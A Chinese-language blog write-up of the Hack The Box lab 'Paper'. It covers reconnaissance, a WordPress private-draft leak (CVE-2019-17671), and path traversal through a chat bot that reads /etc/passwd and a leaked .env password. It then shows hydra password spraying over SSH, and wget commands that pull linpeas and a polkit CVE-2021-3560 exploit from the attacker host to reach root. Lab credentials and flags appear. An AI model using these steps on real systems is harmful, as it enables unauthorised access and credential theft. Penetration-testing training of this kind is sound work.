当前位置: 首页 > article >正文

HTB:Paper[WriteUP]

目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

将靶机TCP开放端口号提取并保存

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

对靶机进行子域名FUZZ

​编辑

对靶机主域名进行路径FUZZ

使用curl访问靶机主域名

对该域名进行路径FUZZ

边界突破

使用浏览器访问靶机后台域名/wp-admin路径

使用searchsploit搜索该CMS漏洞

查看该PoC内容

仿照PoC构造URL访问static=1的页面

使用浏览器访问秘密链接

点击左侧的general进入频道

使用hydra对靶机SSH服务进行密码喷洒

使用上述凭证登录靶机SSH服务

权限提升

查看该用户可sudo执行的二进制文件

查找系统内的SUID文件

查找系统内的CAP_SUID文件

操纵靶机从攻击机中下载linpeas.sh

为该脚本赋权并执行

在Github上寻找EXP

控制靶机将该EXP进行下载


连接至HTB服务器并启动靶机

靶机IP:

分配IP:10.10.16.13


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.11.143 -r 1-65535 --ulimit 5000 | tee res

将靶机TCP开放端口号提取并保存
ports=$(grep syn-ack res | cut -d/ -f1 | paste -sd,)

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep syn-ack res | cut -d/ -f1 | paste -sd,
22,80,443
                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep syn-ack res | cut -d/ -f1 | paste -sd,)                 
                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports                                                                
22,80,443

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -sT -p$ports -sCV -Pn 10.10.11.143

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.11.143

使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.11.143

对靶机进行子域名FUZZ

ffuf -u http://paper.htb/ -H 'Host: FUZZ.paper.htb' -w ../dictionary/subdomains-top5000.txt -fw 1,2703
对靶机主域名进行路径FUZZ
ffuf -u http://paper.htb/FUZZ -w ../dictionary/dic-big.txt -t 200

使用curl访问靶机主域名
curl -I http://10.10.11.143
  • 由输出的响应头可见,靶机后端服务器域名为:office.paper

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://10.10.11.143
HTTP/1.1 403 Forbidden
Date: Sat, 11 Jan 2025 06:10:25 GMT
Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
X-Backend-Server: office.paper
Last-Modified: Sun, 27 Jun 2021 23:47:13 GMT
ETag: "30c0b-5c5c7fdeec240"
Accept-Ranges: bytes
Content-Length: 199691
Content-Type: text/html; charset=UTF-8

  • 将该域名与靶机IP绑定
sed -i '1i 10.10.11.143 office.paper' /etc/hosts

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.11.143 office.paper' /etc/hosts
                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n1 /etc/hosts
10.10.11.143 office.paper

对该域名进行路径FUZZ
ffuf -u http://office.paper/FUZZ -w ../dictionary/dic-big.txt


边界突破

使用浏览器访问靶机后台域名/wp-admin路径

  • 使用wappalyzer查看该页技术栈

使用searchsploit搜索该CMS漏洞

searchsploit wordpress 5.2.3

  • 我注意到5.2.3存在未授权查看他人私密帖的PoC将其拷贝到当前目录
searchsploit -m 47690.md

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# searchsploit -m 47690.md    
  Exploit: WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts
      URL: https://www.exploit-db.com/exploits/47690
     Path: /usr/share/exploitdb/exploits/multiple/webapps/47690.md
    Codes: CVE-2019-17671
 Verified: False
File Type: ASCII text
Copied to: /home/kali/Desktop/temp/47690.md

查看该PoC内容
cat 47690.md

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat 47690.md                
So far we know that adding `?static=1` to a wordpress URL should leak its secret content

Here are a few ways to manipulate the returned entries:

- `order` with `asc` or `desc`
- `orderby`
- `m` with `m=YYYY`, `m=YYYYMM` or `m=YYYYMMDD` date format


In this case, simply reversing the order of the returned elements suffices and `http://wordpress.local/?static=1&order=asc` will show the secret content:

仿照PoC构造URL访问static=1的页面

  • 经过简单的翻译可知,此人将秘密都放在了:http://chat.office.paper/register/8qozr226AhkCHZdyY

测试
迈克尔,看在上帝的份上,请把草稿中的秘密去掉!
你好,Blunder蒂芬的员工,
由于上级的命令,每个加入这个博客的员工都被删除了,他们被迁移到我们新的聊天系统。
所以,我恳请你们所有人把你们的讨论从公共博客带到一个更私人的聊天系统。
- 尼克
#警告迈克尔
迈克尔,你必须停止在草稿中添加秘密。这是一个巨大的安全问题,你必须停止这样做。
午夜威胁等级
电影银幕,
编剧和导演是
迈克尔·斯科特
[INT:DAY]
在联邦调查局内部,特工迈克尔·斯卡恩坐在办公桌上。他的机器人管家德怀特
#新员工聊天系统的秘密注册URL
http://chat.office.paper/register/8qozr226AhkCHZdyY
#我保持这个草案未发布,因为未发布的草案不能被外部人员访问。我没那么无知尼克
#别再看我的草稿了天啊!

  • 将该链接中的子域名与靶机IP进行绑定
sed -i '1i 10.10.11.143 chat.office.paper' /etc/hosts

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.11.143 chat.office.paper' /etc/hosts
                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n3 /etc/hosts                                             
10.10.11.143 chat.office.paper
10.10.11.143 office.paper
10.10.11.143 paper.htb

使用浏览器访问秘密链接

  • 访问后,该页提供一个注册表供用户填写相关注册信息

  • 去掉相对路径后,访问主页面可见是一个登录界面,因此我们需要注册一个账号

  • 将注册表单完整

  • 注册完成后进入主界面

点击左侧的general进入频道
  • 由聊天记录可知,recyclops是一个机器人,跟它私聊发送`help`获得使用手册

你好我是Recyclops。德怀特指派的机器人。我会有我的报复地球人,但在此之前,我必须帮助我的酷朋友德怀特回答他的同事问的恼人的问题,这样他就可以利用他宝贵的时间来.不和同事交流
最常见的问题包括:
- 现在几点了?
- 您的销售目录中有哪些新文件?
- 售货员为什么要过马路?
- 你的销售目录中x文件的内容是什么?等
请注意,我是一个测试版,我仍然有一些错误要修复。
如何使用我?:
1. Small Talk:
你可以问我德怀特的周末怎么样,或者他昨晚看了比赛吗等等。
你周末过得怎么样?或者‘你昨晚看比赛了吗?或者“什么样的熊是最好的?
2.笑话:
你可以问我为什么售货员要过马路。
为什么售货员要穿过马路?'
<==以下两个功能是针对那些仍然不知道如何使用scp的笨蛋的。我看着你,凯文。
出于安全原因,访问权限仅限于Sales文件夹。
3.档案:
例如:'cloops get me the file test.txt',或'cloops could you send me the file sale/secret.xls',或'cloops file test.txt'

4.列表:
你可以让我列出
例如:'recyclops i need directory list sale' or just 'recyclops list sale'

5.时间:
你可以问我几点了
现在几点了?或者只是“马蹄声时间”
这就是我现在能做的。
还有,德怀特是个很酷的家伙,而不是时间小偷!
  • 经过简单分析可知

读取文件内容命令:recyclops file test.txt

列出目录文件命令:list

  •  我尝试通过给定语法读取/etc/passwd文件
recyclops file ../../../../../etc/passwd
  • <!=====Contents of file ../../../../../etc/passwd=====>

  • root❌0:0:root:/root:/bin/bash
    bin❌1:1:bin:/bin:/sbin/nologin
    daemon❌2:2:daemon:/sbin:/sbin/nologin
    adm❌3:4:adm:/var/adm:/sbin/nologin
    lp❌4:7:lp:/var/spool/lpd:/sbin/nologin
    sync❌5:0:sync:/sbin:/bin/sync
    shutdown❌6:0:shutdown:/sbin:/sbin/shutdown
    halt❌7:0:halt:/sbin:/sbin/halt
    mail❌8:12:mail:/var/spool/mail:/sbin/nologin
    operator❌11:0:operator:/root:/sbin/nologin
    games❌12💯games:/usr/games:/sbin/nologin
    ftp❌14:50:FTP User:/var/ftp:/sbin/nologin
    nobody❌65534:65534:Kernel Overflow User:/:/sbin/nologin
    dbus❌81:81:System message bus:/:/sbin/nologin
    systemd-coredump❌999:997:systemd Core Dumper:/:/sbin/nologin
    systemd-resolve❌193:193:systemd Resolver:/:/sbin/nologin
    tss❌59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
    polkitd❌998:996:User for polkitd:/:/sbin/nologin
    geoclue❌997:994:User for geoclue:/var/lib/geoclue:/sbin/nologin
    rtkit❌172:172:RealtimeKit:/proc:/sbin/nologin
    qemu❌107:107:qemu user:/:/sbin/nologin
    apache❌48:48:Apache:/usr/share/httpd:/sbin/nologin
    cockpit-ws❌996:993:User for cockpit-ws:/:/sbin/nologin
    pulse❌171:171:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
    usbmuxd❌113:113:usbmuxd user:/:/sbin/nologin
    unbound❌995:990:Unbound DNS resolver:/etc/unbound:/sbin/nologin
    rpc❌32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
    gluster❌994:989:GlusterFS daemons:/run/gluster:/sbin/nologin
    chrony❌993:987::/var/lib/chrony:/sbin/nologin
    libstoragemgmt❌992:986:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
    saslauth❌991:76:Saslauthd user:/run/saslauthd:/sbin/nologin
    dnsmasq❌985:985:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
    radvd❌75:75:radvd user:/:/sbin/nologin
    clevis❌984:983:Clevis Decryption Framework unprivileged user:/var/cache/clevis:/sbin/nologin
    pegasus❌66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin
    sssd❌983:981:User for sssd:/:/sbin/nologin
    colord❌982:980:User for colord:/var/lib/colord:/sbin/nologin
    rpcuser❌29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
    setroubleshoot❌981:979::/var/lib/setroubleshoot:/sbin/nologin
    pipewire❌980:978:PipeWire System Daemon:/var/run/pipewire:/sbin/nologin
    gdm❌42:42::/var/lib/gdm:/sbin/nologin
    gnome-initial-setup❌979:977::/run/gnome-initial-setup/:/sbin/nologin
    insights❌978:976:Red Hat Insights:/var/lib/insights:/sbin/nologin
    sshd❌74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
    avahi❌70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
    tcpdump❌72:72::/:/sbin/nologin
    mysql❌27:27:MySQL Server:/var/lib/mysql:/sbin/nologin
    nginx❌977:975:Nginx web server:/var/lib/nginx:/sbin/nologin
    mongod❌976:974:mongod:/var/lib/mongo:/bin/false
    rocketchat❌1001:1001::/home/rocketchat:/bin/bash
    dwight❌1004:1004::/home/dwight:/bin/bash

  • <!=====End of file ../../../../../etc/passwd=====>

  • 接着我尝试通过它举例的命令列出当前及上一级目录文件

  • 这里我尝试直接读取user.txt被提示权限不足,因此我尝试列出hubot目录文件
list ../hubot

  • 这里我迅速注意到了.env文件,该文件通常存储着用户凭证、敏感信息,尝试直接读取它
recyclops file ../hubot/.env
  • <!=====Contents of file ../hubot/.env=====>

  • export ROCKETCHAT_URL='http://127.0.0.1:48320'
    export ROCKETCHAT_USER=recyclops
    export ROCKETCHAT_PASSWORD=Queenofblad3s!23
    export ROCKETCHAT_USESSL=false
    export RESPOND_TO_DM=true
    export RESPOND_TO_EDITED=true
    export PORT=8000
    export BIND_ADDRESS=127.0.0.1

  • <!=====End of file ../hubot/.env=====>

  • 通过阅读/etc/passwd可知,靶机可交互用户仅有:rocketchat、dwight

使用hydra对靶机SSH服务进行密码喷洒

echo -e "rocketchat\ndwight" > temp && hydra -L temp -p 'Queenofblad3s!23' ssh://10.10.11.143

账户:dwight

密码:Queenofblad3s!23

使用上述凭证登录靶机SSH服务
ssh dwight@10.10.11.143

  • 在当前目录可找到user.txt文件

[dwight@paper ~]$ pwd
/home/dwight
[dwight@paper ~]$ ls
bot_restart.sh  hubot  sales  user.txt
[dwight@paper ~]$ cat user.txt
c3d0d4b61c91f8879f560ad37c2d8dcc


权限提升

查看该用户可sudo执行的二进制文件

sudo -l

[dwight@paper ~]$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for dwight:
Sorry, user dwight may not run sudo on paper.

查找系统内的SUID文件

find / -perm -4000 -type f -ls 2>/dev/null

查找系统内的CAP_SUID文件
getcap -r / 2>/dev/null | grep -i cap_suid
  • 执行后无事发生

操纵靶机从攻击机中下载linpeas.sh

wget http://10.10.16.13:6666/linpeas.sh
  • 攻击机收到请求

┌──(root㉿kali)-[/home/kali/Desktop/tool]
└─# php -S 0:6666                                       
[Sat Jan 11 05:48:04 2025] PHP 8.2.27 Development Server (http://0:6666) started
[Sat Jan 11 05:48:32 2025] 10.10.11.143:51038 Accepted
[Sat Jan 11 05:48:32 2025] 10.10.11.143:51038 [200]: GET /linpeas.sh
[Sat Jan 11 05:48:32 2025] 10.10.11.143:51038 Closing

为该脚本赋权并执行
chmod +x linpeas.sh
  • 执行后可见靶机存在漏洞:CVE-2021-3560

在Github上寻找EXP

https://github.com/Almorabea/Polkit-exploit.git

控制靶机将该EXP进行下载
wget http://10.10.16.13:6666/CVE-2021-3560.py
  • 直接通过靶机预装好的python3执行该脚本
python3 CVE-2021-3560.py

  • 运行一段时间后成功提权

[root@paper dwight]# id
uid=0(root) gid=0(root) groups=0(root)
[root@paper dwight]# whoami
root

  • 在/root目录下找到root.txt文件

[root@paper ~]# pwd
/root
[root@paper ~]# ls -la
total 44
dr-xr-x---.  8 root root 4096 Jan 10 22:17 .
dr-xr-xr-x. 17 root root  244 Jan 17  2022 ..
lrwxrwxrwx.  1 root root    9 Jul  3  2021 .bash_history -> /dev/null
-rw-r--r--.  1 root root   18 Jul  3  2021 .bash_logout
-rw-r--r--.  1 root root  176 Jul  3  2021 .bash_profile
-rw-r--r--.  1 root root  233 Jul  3  2021 .bashrc
drwx------.  3 root root   19 Jul  3  2021 .cache
drwx------.  6 root root   64 Jul  3  2021 .config
-rw-r--r--.  1 root root  100 May 11  2019 .cshrc
-rw-------.  1 root root  328 Feb  1  2022 .dbshell
drwx------.  3 root root   25 Jul  3  2021 .dbus
-rw-------.  1 root root   16 Jul  3  2021 .esd_auth
-rw-------.  1 root root    0 Jul  3  2021 .mongorc.js
drwxr-xr-x.  5 root root   83 Jul  3  2021 .npm
drwxr-xr-x.  2 root root   52 Jan 13  2022 .restore
drwx------.  2 root root    6 Sep 16  2021 .ssh
-rw-r--r--.  1 root root  129 May 11  2019 .tcshrc
-rw-------.  1 root root 1438 Jul  3  2021 anaconda-ks.cfg
-rw-r--r--.  1 root root 1593 Jul  3  2021 initial-setup-ks.cfg
-r--------.  1 root root   33 Jan 10 22:17 root.txt
[root@paper ~]# cat root.txt
324cb758819eb8e130f5261bcfae69dd


http://www.kler.cn/a/500271.html

相关文章:

  • 给DevOps加点料:融入安全性的DevSecOps
  • vue封装axios请求
  • Vue-Cli
  • 网易云音乐登录两部手机:IP属地归属何方?
  • 计算机网络之---数据传输与比特流
  • vue条件渲染
  • 【灵码助力安全3】——利用通义灵码辅助智能合约漏洞检测的尝试
  • 基于springboot的医药管理系统源码+论文+开题报告
  • 单片机(MCU)-简单认识
  • 119.使用AI Agent解决问题:Jenkins build Pipeline时,提示npm ERR! errno FETCH_ERROR
  • C++ Primer Notes(3): 哪些人可以看C++ Primer
  • 探索微软 M365 安全:全方位守护数字世界
  • 基于单片机的小功率数控调频发射器设计
  • 有效数字和相对误差限的关系
  • Kafka消息队列出现消息堆积如何解决
  • 在Django的Serializer的列表数据中剔除指定元素
  • 安装本地测试安装apache-doris
  • Vue Router4
  • 从预训练的BERT中提取Embedding
  • 【计算机网络】lab4 Ipv4(IPV4的研究)
  • k8s helm部署kafka集群(KRaft模式)——筑梦之路
  • OpenAI Swarm的使用过程记录
  • ubuntu/kali安装c-jwt-cracker
  • react的statehook useState Hook详细使用
  • 【YOLO】将多类别YOLO格式txt标签数据区分成单类别标签